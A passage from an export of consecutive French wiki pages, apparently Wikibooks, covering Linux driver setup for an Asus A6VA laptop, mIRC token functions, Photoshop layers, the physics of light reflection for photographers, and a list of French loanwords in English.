OpenGL vendor string: ATI Technologies Inc. OpenGL renderer string: MOBILITY RADEON X700 Generic OpenGL version string: 2.0.5582 (8.21.7) ::fgl_glxgears (Ne soyez pas étonnés de ne pas avoir les même résusltat, ceux-ci viennent de mon A6VA ) : 3092 frames in 5.0 seconds = 618.400 FPS 3716 frames in 5.0 seconds = 743.200 FPS *Voilà vous avez installé les drivers ATI ! *Merci à Valère du [http://forum.ubuntu-fr.org forum Ubuntu] pour ce tuto. Dans la nouvelle version de Ubuntu la carte son marche direct apres l'installation ====Installation des drivers Synaptics pour le Touchpad==== Il faut activer les dépôts multiverse comme indiqué au paragraphe précedent. Ensuite, taper en console : $sudo apt-get install qsynaptics Editer le fichier de configuration de xorg : $sudo gedit /etc/X11/xorg.conf Et ajouter à la ligne correspondant au touchpad : Option "ShmConfig" "true" Enregistrer et relancer le serveur x (ctrl-alt-backslash), et taper : $sudo qsynaptics Les modifications sont prises en compte immédiatement. ====Faire fonctionner la LED de notification de courrier avec Thunderbird==== Il suffit pour cela d'installer l'extension moztraybiff : http://moztraybiff.mozdev.org/ ====Installation simplifiée des drivers ATI pour une debian (xfree ou xorg)==== '''Attention !!''' Vous devez posséder un noyau debian "officiel" c'est-à-dire installé à partir d'un miroir debian et non recompilé. Si vous possédez un kernel recompilé et/ou modifié, c'est ici que c'est expliqué : http://www.stanchina.net/~flavio/debian/fglrx-installer.html *Le serveur X doit déja être installé. *Ajoutez a votre fichier /etc/apt/sources.list : deb http://xoomer.virgilio.it/flavio.stanchina/debian-fglrx-modules/ / # si vous avez xorg (la debian testing actuelle utilise xorg) : deb http://xoomer.virgilio.it/flavio.stanchina/debian-fglrx-xorg/ / # '''OU''' si vous avez xfree86 (debian sarge) : deb http://xoomer.virgilio.it/flavio.stanchina/debian-fglrx-xfree86/ / *Faites un apt-get update puis apt-get install fglrx-driver *Lancer aptitude, puis chercher "fglrx-kernel" (c'est la touche / pour chercher). ::Vous tombez sur une liste de paquets nommés fglrx-kernel-... ::Vous devez installer celui correspondant a votre noyau : ::Exemple pour une debian sarge de base : il faut installer le paquet "fglrx-kernel-2.6.8-2-686_8.19.10-1+2.6.8-16_i386.deb" *Éditez le fichier /etc/X11/XF86Config-4 pour xfree86 ou /etc/X11/xorg.conf pour xorg. Section "Module" ... # vérifier la présence de ces lignes ou ajoutez les : Load "GLcore" Load "glx" Load "dri" ... #Ajouter ces 3 lignes à la suite des "Load" : SubSection "extmod" Option "omit xfree86-dga" EndSubSection Section "Device" Identifier "nom quelconque" Driver "fglrx" # voila la partie importante : il faut mettre "fglrx" comme Driver '''Note''' : ces pilotes ne semblent plus disponibles depuis le 18/4/06 ; sur le [http://www.stanchina.net/~flavio/debian/fglrx-installer.html site de l'auteur] on peut lire : :Apr 18, 2006 :These packages are hopelessly out of date and I don't think I'll have time to update them in the near future, because I believe it's more useful to work on the official Debian packages. :Therefore, I've removed the prebuilt binary packages; if you really want to use these packages, I assume you are able to build binary packages from source as clearly explained in section 3a. Source. Everyone else, please use the official Debian packages if you're using sid, or the ATI installer packages if you're using sarge or Ubuntu. ==Divers== * Conseils pour la batterie : **au déballage, décharge et recharge à 80% environ 3 fois. **après si stockage sans utilisation, à 25% environ de charge pour la meilleur conservation de la capacité. **après les premières recommandations les cycles de charge et décharge ne sont plus très importants au vu de la technologie de l'accus qui te toute façon au bout de 3/4 ans sera en fin de vie (comme le portable d'ailleurs au vu de la vitesse d'évolution ) **On peut travailler sur le portable pendant la charge **Si vous travaillez sur secteur, pensez à enlever la batterie pour ne pas qu'elle soit 24/24 en charge ==Galerie d'images== <gallery> Image:Asus A6VA-B028H_1.jpg |A6VA-B028H Image:Asus A6VA-B028H_2.jpg|Bundle Image:Asus A6VA-B028H_3.jpg|Clavier Image:Asus A6VA-B028H_4.jpg|Côté droit Image:Asus A6VA-B028H_5.jpg|Arrière Image:Asus A6VA-B028H_6.jpg|Vue d'ensemble </gallery> Programmation mIRC Identifieurs Token 5839 25123 2005-11-06T18:26:08Z 66.130.33.78 ==$addtok(texte,token,C)== Ajoute un token à la fin du texte s'il n'existe pas. $addtok(a.b.c,d,46) retourne a.b.c.d $addtok(a.b.c.d,c,46) retourne a.b.c.d Le paramètre C est la valeur ASCII du caractère séparant les tokens. {{Note mIRC|$addtokcs() est une version sensible à la casse des caractères.}} ==$deltok(texte,N-N2,C)== Efface le Nième token du texte. $deltok(a.b.c.d,3,46) retourne a.b.d $deltok(a.b.c.d,2-3,46) retourne a.d Vous pouvez spécifier une valeur négative à N. ==$findtok(texte,token,N,C)== Retourne la position du Nième token dans le texte. $findtok(a.b.c.d,c,1,46) retourne 3 $findtok(a.b.c.d,e,1,46) retourne $null Si vous spécifiez zéro à N, il retourne le nombre total de tokens correspondants. {{Note mIRC|$findtokcs() est une version sensible à la casse des caractères.}} ==$gettok(texte,N,C)== Retourne le Nième token dans le texte. $gettok(a.b.c.d.e,3,46) retourne c $gettok(a.b.c.d.e,9,46) retourne $null Vous pouvez également spécifier un groupe de tokens: $gettok(a.b.c.d.e,2-,46) retourne du 2ème token à la fin b.c.d.e $gettok(a.b.c.d.e,2-4,46) retourne les tokens 2 à 4 b.c.d Vous pouvez spécifier une valeur négative à N. ==$instok(texte,token,N,C)== Insère le token dans la Nième position dans le texte, même s'il existe déjà. $instok(a.b.d,c,3,46) retourne a.b.c.d $instok(a.b.d,c,9,46) retourne a.b.d.c Vous pouvez spécifier une valeur négative de N. ==$istok(texte,token,C)== Retourne $true si le token existe, autrement retourne $false. {{Note mIRC|$istokcs() est une version sensible à la casse des caractères.}} ==$matchtok(tokens,chaîne,N,C)== Retourne les tokens qui contiennent la chaîne spécifique. $matchtok(one two three, e, 0, 32) retourne 2 $matchtok(one two three, e, 2, 32) retourne three Si vous spécifiez zero pour N, il retourne le nombre total de tokens correspondants. {{Note mIRC|$matchtokcs() est une version sensible à la casse des caractères.}} ==$numtok(texte,C)== Retourne le nombre de tokens dans le texte. ==$puttok(texte,token,N,C)== Ecrase le Nième token dans le texte par un nouveau token. $puttok(a.b.c.d,e,2,46) retourne a.e.c.d Vous pouvez spécifier une valeur négative pour N. ==$remtok(texte,token,N,C)== Retire le Nième token correspondant au texte. $remtok(a.b.c.d,b,1,46) retourne a.c.d $remtok(a.b.c.d,e,1,46) retourne a.b.c.d $remtok(a.c.c.d,c,1,46) retourne a.c.d {{Note mIRC|$remtokcs() est une version sensible à la casse des caractères.}} ==$reptok(texte,token,nouveau,N,C)== Remplace le Nième token correspondant dans le texte par un nouveau token. $reptok(a.b.c.d,b,e,1,46) retourne a.e.c.d $reptok(a.b.c.d,f,e,1,46) retourne a.b.c.d $reptok(a.b.a.c,a,e,2,46) retourne a.b.e.c {{Note mIRC|$reptokcs() est une version sensible à la casse des caractères.}} ==$sorttok(texte,C,ncra) == Trie les tokens dans le texte. $sorttok(e.d.c.b.a,46) retourne a.b.c.d.e $sorttok(1.3.5.2.4,46,nr) retourne5.4.3.2.1 Le défaut est un tri alphabétique, cependant vous pouvez spécifier n = tri numérique, c = tri par préfixe du pseudo du salon, r = tri inversé, a = tri alphanumérique. {{Note mIRC|$sorttokcs() est une version sensible à la casse des caractères.}} ==$wildtok(tokens,chaîne joker,N,C)== Retourne le Nième token qui correspond à la chaîne joker. $wildtok(one two three, t*, 0, 32) retourne 2 $wildtok(one two three, t*e, 1, 32) retourne three Si vous spécifiez zero pour N, il retourne le nombre total de tokens correspondants. {{Note mIRC|$wildtokcs() est une version sensible à la casse des caractères.}} Adobe Photoshop – Calques 5841 25768 2005-11-20T16:32:34Z Inisheer 631 {{photoshop}} [[Image:Photoshop - calques.png|thumb|236px|La palette des calques]] Travailler avec les calques n'est pas très intuitifs à première vue, mais ils constituent un outil extrêmement puissant tout en procurant une grande souplesse de travail. Il suffit de se représenter les calques comme des feuilles de papier superposées, qui peuvent être transparentes ou opaques. Ainsi, les opérations n'affectent que le calque actif à ce moment-là. ==Travailler avec les calques== Travailler avec un grand nombre de calques devient rapidement difficile à gérer. Organiser efficacement la liste des calques permet de s'y retrouver même si l'on reprend un travail laissé de côté pendant quelques semaines, ou lorsque l'on travaille à plusieurs. ===Nommer les calques=== Les calques se voient automatiquement attribuer un nom par défaut lors de leur création. Il est possible de changer ce nom grâce à un clic droit sur le calque en question, puis sur Propriétés de calque dans le menu contextuel correspondant. Efforcez-vous d'attribuer des noms explicites à vos calques. ===Groupes de calques=== L'icône Commencer un nouveau groupe (troisième depuis la gauche) dans la barre d'outils du bas de la palette des calques crée un nouveau groupe de calques. Une fois le groupe créé, il suffit d'y glisser les calques qui doivent en faire partie. Attention cependant à respecter l'ordre général des calques, qui est significatif pour le rendu de l'image. #[[Adobe Photoshop – Calques de réglage|Calques de réglage]] #[[Adobe Photoshop – Calques classiques|Calques classiques]] Image:Photoshop - calques.png 5842 25134 2005-11-06T21:38:57Z Inisheer 631 {{screenshot}} {{screenshot}} Adobe Photoshop – Calques de réglage 5843 25761 2005-11-20T15:03:09Z Inisheer 631 {{photoshop}} Les calques de réglage sont extrêmement utilisés en matière de retouche photographique. Toujours transparents, ils appliquent des réglages sur le contraste, la luminosité, la balance des couleurs ou encore sur l'histogramme d'une image. Combinés avec des [[Adobe Photoshop – Masques|masques]], leur effet est limité à une portion de l'image. ==Niveaux== Au moment de retravailler une photo, qu'elle soit issue d'un scanner ou d'un appareil photo numérique, le calque de réglages Niveaux est probablement à appliquer en premier. L'histogramme de l'image indique la répartition des ombres et des hautes lumières. Une image bien équilibrée présente un histogramme en forme de courbe gaussienne. [[Image:Photoshop_– Histogramme.png |thumb|250px|left|L'histogramme de cette image montre un léger déficit dans les ombres et les hautes lumières. Le reste est bien exposé.]] ==Courbes== Photographie - 06 - Réflexion de la lumière 5845 44428 2006-06-12T14:16:49Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_06}} == Un problème de surface == [[Image:MILAN Jean-Jacques Sur la Dune.jpg|thumb|300px|Dune du Pyla]] Qu'arrive-t-il lorsque la lumière trouve un obstacle sur sa route ? Hé bien ... cela dépend de l'obstacle ! Nous supposerons d'abord qu'il s'agit d'un objet parfaitement lisse et poli, comme on en rencontre beaucoup dans la vie courante. Vous objecterez peut-être qu'il ne peut exister aucun objet parfaitement lisse, puisque la matière est composée d'atomes et qu'elle possède donc une structure discontinue. Exact, définir la "surface" d'un objet n'est pas chose évidente ! En regardant de loin la Dune du Pyla, on a l'impression d'un grand corps aux formes lisses langoureusement allongé au bord de l'eau. Mais en y regardant de plus près, des irrégularités apparaissent, ici des traces de pas et là, des formes d'érosion dues à la pluie et au vent. En fait, la Dune du Pyla n'a pas vraiment de surface, puisqu'elle n'est rien d'autre que le plus haut tas de sable non stabilisé d'Europe. Avec un brin d'imagination, si chaque grain figurait un atome, on pourrait se représenter à notre échelle le véritable aspect de la surface des objets qui, en général, est très loin d'être lisse et régulière ... Les surfaces qui nous paraissent les mieux polies et les plus brillantes sont presque toujours des surfaces métalliques ou métallisées. Les propriétaires des « belles américaines » et même des « belles françaises » des années 50 étaient fiers de leurs chromes qui, à défaut d'être discrets, n'en étaient pas moins rutilants. De telles surfaces renvoient la quasi totalité des rayonnements lumineux qu'elles reçoivent. Le fameux casque F1 cher aux pompiers en est un autre exemple. Derrière son aspect flatteur se dissimule la vraie fonction du reflet métallique : en renvoyant les rayonnements, en particulier l'infrarouge, il limite efficacement l'échauffement de la tête de son propriétaire, quand celui-ci va au feu. == Les lois de la réflexion == {{EnTravaux}} La lumière est paresseuse mais aussi, de temps en temps, pleine de courage. Entendons par là que pour aller d'un point à un autre, elle emprunte presque toujours le chemin le plus rapide ou au contraire, mais c'est beaucoup plus rare, le plus lent ! Lorsqu'elle frappe une surface métallique polie, elle rebondit dans une autre direction. Le cas le plus simple est celui d'un miroir plan, figuré ci-dessous : Un rayon lumineux émis par le point A atteint le point O (l'œil par exemple) après avoir rebondi en M sur le miroir. Les lois classiques de la réflexion spéculaire nous indiquent que : - le rayon incident AM et le rayon réfléchi MO sont dans un plan qui contient la droite (n) normale en M au miroir, et de part et d'autre de cette normale, - l'angle d'incidence i est égal à l'angle de réflexion r. Le rayon qui parvient à l'œil semble alors provenir non pas du point A, mais de son symétrique A' par rapport au miroir. D'après le principe de FERMAT, le trajet AMO devrait être le plus court de tous les trajets possibles. C'est bien ce que l'on constate en évaluant un autre trajet passant par un point M' différent de M. Quel que soit M', le trajet AM'O est égal au trajet A'M'O, lequel est toujours plus long que le trajet A'MO qui se fait en ligne droite. Les géomètres avisés vérifieront facilement qu'avec un miroir plan il ne peut exister qu'un seul point M tel que i = r et que les deux rayons incidents et réfléchis se trouvent dans un plan contenant la normale. En tout autre point du plan du miroir, l'une au moins de ces deux conditions n'est pas vérifiée. Le plus court chemin pour aller de A à O en passant par le miroir est bien sûr toujours le plus court quand on va de O à A. Le sens du parcours change, mais pas l'itinéraire ! Ajoutons donc à notre "boîte à outils" le principe du retour inverse de la lumière. La connaissance de ce principe n'a guère d'importance quand il s'agit de mettre en œuvre du matériel photographique ou autre, par contre elle facilite grandement certaines constructions dans le domaine de l'optique géométrique. Image:Asus a6va5.jpg 5848 31818 2006-02-06T23:38:57Z Greudin 1 +{{fair use}} {{fair use}} Photo de l'ordinateur portable Asus A6VA (face) Image:Asus A6VA-B028H 1.jpg 5849 32955 2006-02-15T18:18:48Z 84.119.105.6 Phto perso d'un portable Asus A6VA B028H (merci à rellik-corp) Image:Asus A6VA-B028H 2.jpg 5850 25170 2005-11-07T14:34:58Z Reelax 792 Photo perso d'un portable ASUS A6VA-B028H -bundle (merci à rellik-corp) Photo perso d'un portable ASUS A6VA-B028H -bundle (merci à rellik-corp) Image:Asus A6VA-B028H 3.jpg 5851 25171 2005-11-07T14:36:25Z Reelax 792 Photo perso d'un portable ASUS A6VA-B028H - clavier(merci à rellik-corp) Photo perso d'un portable ASUS A6VA-B028H - clavier(merci à rellik-corp) Image:Asus A6VA-B028H 4.jpg 5852 25172 2005-11-07T14:37:18Z Reelax 792 Photo perso d'un portable ASUS A6VA-B028H - côté droit (merci à rellik-corp) Photo perso d'un portable ASUS A6VA-B028H - côté droit (merci à rellik-corp) Image:Asus A6VA-B028H 5.jpg 5853 25173 2005-11-07T14:38:55Z Reelax 792 Photo perso d'un portable ASUS A6VA-B028H - arrière (merci à rellik-corp) Photo perso d'un portable ASUS A6VA-B028H - arrière (merci à rellik-corp) Image:Asus A6VA-B028H 6.jpg 5854 25184 2005-11-07T15:32:11Z Reelax 792 Photo perso du portable ASUS A6VA-B028H (merci à Rellik-corp) Photo perso du portable ASUS A6VA-B028H (merci à Rellik-corp) Programmation mIRC Droits d'auteurs et autorisations 5855 25227 2005-11-08T13:00:26Z Dunkelzahn 768 Ajout du lien pour la dll ultradock Les travaux placés dans ce wikibook sont, dans la mesure du possible, en respect avec les copyright référencés et autorisations de leurs auteurs. Néanmoins, n'étant pas des surhommes, nous pouvons faire des erreurs et corrigerons dès que possible. == Autorisations == *Tous travaux de ClickHeRe.<br> :'''<u>son courriel</u>''' : clickhere@scriptsdb.org<br> :'''<u>ses articles recopiés</u>''' :<br> ::*[[Programmation_mIRC_UltraDock|DLL Ultradock]] *Tous travaux de Artwerks (articles/tutoriaux)<br> :'''<u>son courriel</u>''' : ppnadeau@hotmail.com<br> ::'''<u>Ses articles recopiés</u>''' : *Tutorial de Raynor (Tokens)<br> :'''<u>son courriel</u>''' : raynor2706@hotmail.com<br> ::'''<u>Ses articles recopiés</u>''' : [[Programmation_mIRC|Revenir en page principale]] Droits d'auteurs et autorisations 5856 25194 2005-11-07T17:26:55Z Greudin 1 [[Droits d'auteurs et autorisations]] déplacé vers [[Programmation mIRC Droits d'auteurs et autorisations]] #REDIRECT [[Programmation mIRC Droits d'auteurs et autorisations]] Gallicismes en anglais 5861 46621 2006-06-30T14:08:32Z Vrykolaka 94 /* Divers */ <blockquote cite="http://thaloe.free.fr/francais/today.html"> <p>Si le français utilise beaucoup de termes anglais, il faut tout de même faire remarquer que les anglais, eux, utilisent encore plus de mots français (plus de 1500). Ainsi, le « <span xml:lang="en">frenglish</span> » est tout aussi puissant et envahisseur que le franglais !</p> </blockquote> == Avertissements == *Dans les premiers temps, je ne marquais pas la source et comme ce fichier est assez ancien (bien plus d’un an depuis sa création), certains liens sont peut-être brisés. *De plus, je n’ai aucun moyen de savoir s’il s’agit vraiment d’un gallicisme ou d’un auteur qui veut flamber en montrant qu’il connaît deux-trois mots de français. *Enfin, de par le fonctionnement même de Wikipédia, les liens vers cette encyclopédie pourraient bien ne pas vous ramener le terme (à moins de chercher dans l’historique… bon courage). *J’ai gardé les termes tels quels, avec les traits d’union manquants ou les accents disparus. J’ignore s’il s’agit d’une ignorance/incapacité de l’auteur (surtout avec des claviers non-AZERTY) ou bien de la vraie orthographe (je pense pour la première alternative, cependant). == Catégories == Le classement s’effectue par catégorie, permettant ainsi de connaître les domaines où l’empreinte française est la plus importante. Notez bien que c’est une classification « au jugé », sans réelle connaissance de l’histoire de ces mots. Dans un souci d’éviter la multiplication des catégories, certains regroupements peuvent paraître assez étranges. Notez aussi que beaucoup de termes de danse sont français. == Gallicismes == === Affaires === *[[:en:w:Attaché|attaché]] (qui par [http://blog.empyree.org/?1893-yoyo-linguistique yo-yo linguistique] a donné ''attaché-case'') *[[:en:w:Entrepreneur|entrepreneur]] *[http://www.we-make-money-not-art.com/archives/002797.php prix] *régie (<cite xml:lang="sl">Veliki angleško-slovenski slovar Oxford</cite> – ISBN 8634108244) *résumé === Ameublement === *armoire (<cite xml:lang="en">Neverwinter Nights</cite>) *bric-à-brac (<cite xml:lang="en">Neverwinter Nights</cite>) *[http://www.germancarfans.com/print.cfm/ID/2020703.001 cassette] *[http://www.wizards.com/dnd/article.asp?x=fr/pg20020828x dais] *[[:en:w:Façade|Façade]] *promenade (<cite xml:lang="en">Shining South</cite>, p.136) *reservoir === Arts === *[http://www.germancarfans.com/print.cfm/ID/2020625.001 atelier] (a aussi donné <span xml:lang="sl">atelje</span> en slovène) *avant-garde *biennale *[http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=UIDSUB040312111453251013&amp;sql=Bct7ibkg96akv chanson] *[[:en:w:Cliché|cliché]] *crayon (signifie <em>crayon de couleur</em>) *[http://news.com.com/Mozilla+readies+Firefox+1.0+release/2100-1032_3-5443931.html?tag=nefd.lede debut] *[[:en:w:Denouement|denouement]] *ensemble (livre de règles <cite xml:lang="la">Ars Magica</cite> 4<sup>e</sup> édition. Le mot est aussi présent en slovène) *exposé (juste Apple ?) *[http://mozilla.org/roadmap.html faux] (ainsi que <em xml:lang="en">faux fur</em> pour Jaguar) *[[:en:w:Film_noir|film noir]] *[[:en:w:Frottage|frottage (art)]] *grimoire (supplément pour <cite xml:lang="en">Shadowrun</cite>) *jongleur (livre de règles <cite xml:lang="la">Ars Magica</cite> 4<sup>e</sup> édition) *[[:en:w:Spartacus|nom de plume]] (Voir aussi <em>Nick de Plume</em>, de Thinksecrets.com) *objets [http://www.hplovecraft.com/creation/necron/letters.asp d’art] *œuvre *papier-mâché *passé (l’équivalent, de sens comme d’usage, du <em>has been</em> français. Ironique) *potpourri *prêt-à-porter *quadrille (Une brochure sur la Slovénie en anglais) *repertoire (livre de règles <cite xml:lang="la">Ars Magica</cite> 4<sup>e</sup> édition) *sans (sérif) *[http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=UIDCASS80312100450461573&amp;sql=Ajq5zefrk3gf1 vaudeville] *voltige/voltigeur ==== Musique ==== *[http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=UIDSUB040312111453251013&amp;sql=Bct7ibkg96akv chanson] *[[:en:w:Clef|clef]] *[[:en:w:Soubrette|soubrette]] *[[:en:w:Timbre|timbre]] === Cuisine === *à la carte *apéritif *aubergine *au naturel *biscuit *[http://www.alistapart.com/articles/mountaintop/ bon vivant] *café (le lieu, pas la boisson) *croissant *champignon (champignon à manger, dans le même esprit que que <span xml:lang="en">veal/lamb, ox/beef</span>. A aussi donné <span xml:lang="sl">šampinjon</span> en slovène) *cuisine (haute cuisine en français) *crêpe *éclair *flambé *frappé *liqueur de tirage *[http://www.arstechnica.com/reviews/003/panther/macosx-10.3-4.html du jour] (Dujour est aussi le nom de la fille au lapin blanc dans <cite xml:lang="en">Matrix</cite>) *méthode champenoise *[http://www.mushroomhunter.com/mousseronv.htm mousseron] *pièce de résistance *restaurateur *[http://www.mushroomhunter.com/mousseronv.htm sauté] *[http://xooglers.blogspot.com/2006/02/interface-intercourse.html soufflé] *[[:en:w:Toque|toque]] *[[:en:w:Swedish_Chef|toque blanche]] *vigneron === Militaire === *aide-de-camp ([http://www.wizards.com/default.asp?x=books/fr/jordain Jordan Vizier] et [http://www.poiemadesign.com/wwi/html/gallica_84_v_5.html une photo couleur de 1917]) *anti-matériel *bec-de-corbin (<cite>Diablo II</cite>) *[http://en.wikipedia.org/w/index.php?title=Magnum%2C_P.I.&oldid=44097603 camaraderie] *casque (<cite>Diablo II</cite>) *cavalcade *combatant *[http://en.wikipedia.org/w/index.php?title=Corps&oldid=50925577 corps] d’armée *cuirass (<cite>Diablo II</cite>) *[http://www.kernelthread.com/mac/oshistory/6.html debacle] *dressage (une brochure sur la Slovénie en anglais) *[[:en:w:Droit_de_seigneur|droit de seigneur]] *[http://www.acceleratingfuture.com/michael/works/shocklevelanalysis.htm en masse] *[http://pandius.com/hllwtime.html en route] *fait accompli *[http://phataudio.org/modules.php?name=News&amp;file=article&amp;sid=195 fanfare] *fléchette *force majeure *[http://www.wizards.com/default.asp?x=dnd/ps/20050510a grognard] *grandeur *harangue, <cite xml:lang="en">Expanded Psioncs</cite>, p.23 *[http://en.wikipedia.org/w/index.php?title=Combatant&oldid=52280807 hors de combat] *lance (lance de joute uniquement – Diablo II et Donj’) *[[:en:w:Levee_(event)|levée]] *maté *[[:en:w:Matériel|matériel]] *martel de fer (<cite>Diablo II</cite>) *[[:en:w:mêlée|mêlée]] *[http://en.wikipedia.org/w/index.php?title=Pseudonym&oldid=49197556#Nom_de_guerre nom de guerre] *oubliette *parade *poignard (<cite>Diablo II</cite>) *reconnaissance (<cite xml:lang="en">State of the Art: 2063</cite>) *[[:en:w:General_Grievous|régime]] *rendezvous *rondel (<cite>Diablo II</cite>) *[[:en:w:Space_elevator#Sabotage|sabotage]] *saboteur (<cite xml:lang="en">GURPS Ultra-Tech</cite>, p.56) *sortie (<cite xml:lang="en">Castle &amp; Ruins</cite>, p.46 - comme dans <q>tenter une sortie</q>) *surveillance ==== Escrime ==== *[http://www.snopes.com/autos/grace/grace.asp coup de grace]. Aussi dans <cite xml:lang="en">Unearthed Arcana 3.5</cite>, p.119 *[http://exn.ca/starwars/lightsaber.cfm en garde] *[[:en:w:épée|épée]] *[[:en:w:estoc|estoc]] *(in) flèche *[[:en:w:main-gauche|main-gauche]] *[[:en:w:riposte|riposte]] ==== Héraldique ==== *À peu près tout le jargon de l’héraldique occidentale === Mondanités === *aplomb *blasé *[[:en:w:Bourgeois|Bourgeois]] *chauffeur (a aussi donné <span xml:lang="sl">šofer</span> en slovène) *[[:en:w:Elite|élite]] *dillettante (<cite>L’Appel de Cthulhu</cite> et <cite xml:lang="en">Transhuman Space</cite>, p. 111) *echelon (<cite xml:lang="en">State of the Art: 2063</cite>) *[[:en:w:Etiquette|étiquette]] *[http://en.wikipedia.org/w/index.php?title=Signature_block&oldid=58107137 en vogue] *entourage (aussi le nom de l’équivalent d’Outlook sous Mac) *[http://www.webreference.com/html/tutorial6/ extraordinaire] *[[:en:w:Lightsaber#Lightsabers_in_reality|gaffe]] *Haute bourgeoisie *[http://phataudio.org/modules.php?name=News&amp;file=article&amp;sid=195 impeccable] *[[:en:w:Literary_language|impromptu]] *flaneur *limousine *[http://www.germancarfans.com/print.cfm/ID/2020703.001 lustre] *malaise *[[:en:w:Orion%27s_Arm|milieu]] *nouveau riche (<cite xml:lang="en">GURPS Compendium Ⅰ</cite>, p.90) *outré *[http://dictionary.reference.com/wordoftheday/archive/2006/03/12.html parvenu] *[[:en:w:Petit_bourgeois|Petit bourgeois]] *[http://www.fuh2.com/ poseur] *[http://www.scifimoviepage.com/jurassic3.html protégé] *[http://businessweek.com/magazine/content/03_34/b3846648.htm provocateur] *[[:en:w:Séance|Séance]] (uniquement dans un contexte de médiumnité de groupe) === Politique === *[http://blog.fawny.org/2004/10/13/moz/ arriviste] *bloc (dans le sens politique. Ne pas confondre avec <em xml:lang="en">block</em>) *[http://www.mjyoung.net/time/monkeys.html coup] *laissez-faire (<cite xml:lang="en">Our Posthuman Future</cite> — Francis Fukuyama, p.183) === Sciences === *[[:en:w:Aileron|aileron]] (aéronautique) *[[:en:w:Canards|canard]] (aéronautique) *[[:en:w:Apostrophe|apostrophe]] (typographie) *écorché *[http://www.literarymoose.info/=/synopsis/cascading.xhtml experimentateur] *maladies, <cite xml:lang="en">Expanded Psionics</cite>, p.67 *[http://auto.howstuffworks.com/chrysler-concept5.htm monocoque] *[http://www.aeiveos.com/~bradbury/MatrioshkaBrains/MatrioshkaBrains.html plateau] *[[:en:w:Plate_carrée_projection|(projection) Plate carrée]] *précis (<cite xml:lang="en">GURPS Biotech</cite>, p.142) *[[:en:w:Tourbillon|tourbillon]] ====Automobile==== *[[:en:w:Coupé|Coupé]] *[[:en:w:Monocoque|Monocoque]] === Sexe === *[http://www.eviloverlord.com/lists/overlord.html bustier] *[[:en:w:Blond|blond]] *[[:en:w:Brunette|brunette]] *[[:en:w:Thanks_for_the_Ether|concubine]] *[[:en:w:Fiancé|fiancé]] *[[:en:w:Frotteurism|frottage (sexe)]] *[http://aolnetscape.workopolis.com/servlet/Content/fasttrack/20041023/CHINATEN23 masseuse] (A aussi donné <span xml:lang="sl">maser</span> en slovène) *ménage à trois *petite *[[:en:w:Femme_fatale|femme fatale]] *[[:en:w:voyeur|voyeur]] (<cite xml:lang="en">GURPS Biotech</cite>, p. 154 et titre du dernier album de <cite>Berlin</cite>) === Vêtements === *accoutrement (<cite xml:lang="en">State of the Art: 2063</cite> *[[:en:w:Pince_nez|pince nez]] *[[:en:w:Monocle|monocle]] *[[:en:w:Lorgnette|lorgnette]] === Noms propres === *[[:en:w:Ancien_Régime|Ancien Régime]] *[[:en:w:D%E9tente|Détente]] *[[:en:w:Mardi_Gras|Mardi Gras]] *[[:en:w:Renaissance|Renaissance]] [[http://www.nypost.com/business/4915.htm lien 2]] === Divers === *[[:en:w:Slaughterhouse|abattoir]] *à ce propos *[http://www.arstechnica.com/reviews/003/panther/macosx-10.3-9.html à la] *adroit (<cite>Draconomicon</cite>, p.67 — <cite xml:lang="en">Shining South</cite>, p.27) *appliqué *[http://arstechnica.com/reviews/os/macosx-10.3.ars/7 au contraire] *au pair *[[:en:w:Avalanche|avalanche]] *baton (<cite xml:lang="en">GURPS Ultra-Tech</cite>, p. 63) *beaucoup *bizarre *bon voyage (sous-titre anglais) *bourgeoisie *bricolage *[[:en:w:George_Lazenby|brusque]] *[[:en:w:Raelism|brouhaha]] *[http://www.snopes.com/politics/religion/gibson.asp canard] Peut-être pas un gallicisme. En tout cas, rien à voir avec l’oiseau. Soit une contraction de canular, soit rapport avec le terme péjoratif en français. *[[:en:w:Sean_Connery|carte blanche]] *catastrophe *cavalier (arts – danse, militaire et mondanités) *chapeau (<cite>White Cat, Black Cat</cite>, vers la fin) *[http://www.snopes.com/risque/caught/booth.asp chagrin] *charade (mais a changé de sens pour supercherie) *charlatan *[http://www.amazon.com/exec/obidos/flex-sign-in/ref=cm_rate_rev_pagepos1/002-4506048-9761644#rated-review chic] *clairaudience *clairvoyance *[[:en:w:Dojinshi|clique]] *[[:en:w:Our_Lady_of_Fatima|communique]] *[http://www.osnews.com/story.php?news_id=8995 coterie] *crèche (Une brochure sur la Slovénie en anglais, ainsi que <cite xml:lang="en">Transhuman Space</cite> <cite xml:lang="en">In The Well</cite>, p.40 *crème *[http://www.the-underdogs.org/featured.php?id=RPG crème de la crème] *critique (courrier de la FFII, Demonstration against software patents in Brussels on 17th February) *Danse Macabre (Stephen King, donc peut-être volontaire) *[http://www.amazon.com/exec/obidos/tg/detail/-/0201485419/qid=1070711871/sr=1-1/ref=sr_1_1/002-4506048-9761644?v=glance&amp;s=books de rigueur] *déclassé (<cite xml:lang="sl">Veliki angleško-slovenski slovar Oxford</cite> – ISBN 8634108244) *déjà vu *[[:en:w:Levant|Levant]] (aussi livre de règles <cite xml:lang="la">Ars Magica</cite> 4<sup>e</sup> édition) *derrière *[http://en.wikipedia.org/w/index.php?title=Gascony&oldid=40309412 douceur de vivre] *[http://boards1.wizards.com/showpost.php?p=6615350&amp;postcount=15 élan] *élan vital *encore (c’était aussi le nom d’une carte graphique) *(In) lieu (of) (<cite xml:lang="en">GURPS Supers</cite> 12) *[[:en:w:Ébauche|ébauche]] *façade (<cite xml:lang="en">GURPS Compendium Ⅰ</cite>, p.29 - soit architecture, soit sens second d’apparence) *fille de chambre *finesse (escrime et mondanités) *[http://www.1americanatrail.com/tornado.html giclée] *grand *grand prix *[[:en:w:HAL_9000|grandiose]] *habitué (sexe et mondanités) *hôtel *imbéciles *[http://daringfireball.net/misc/2005/04/tiger_details#dict-urls insouciant] *[http://daringfireball.net/2003/11/panther_text_rendering je-ne-sais-quoi] *joie de vivre (<cite xml:lang="en">Planar Handbook</cite>, D&amp;D 3.5, p.55) *[http://www.germancarfans.com/print.cfm/ID/2020703.001 liaison] (sexe, politique et affaire) *[http://www.joelonsoftware.com/articles/CamelsandRubberDuckies.html matinée] *[http://www.locusmag.com/2004/Features/09_ShirleySocialFuture.html mélange] *[http://en.wikipedia.org/w/index.php?title=Neutralino&oldid=44780861 ménagerie] (ainsi que <cite xml:lang="en">Neverwinter Nights</cite>) *[http://www.techcentralstation.com/111504A.html|naïveté, 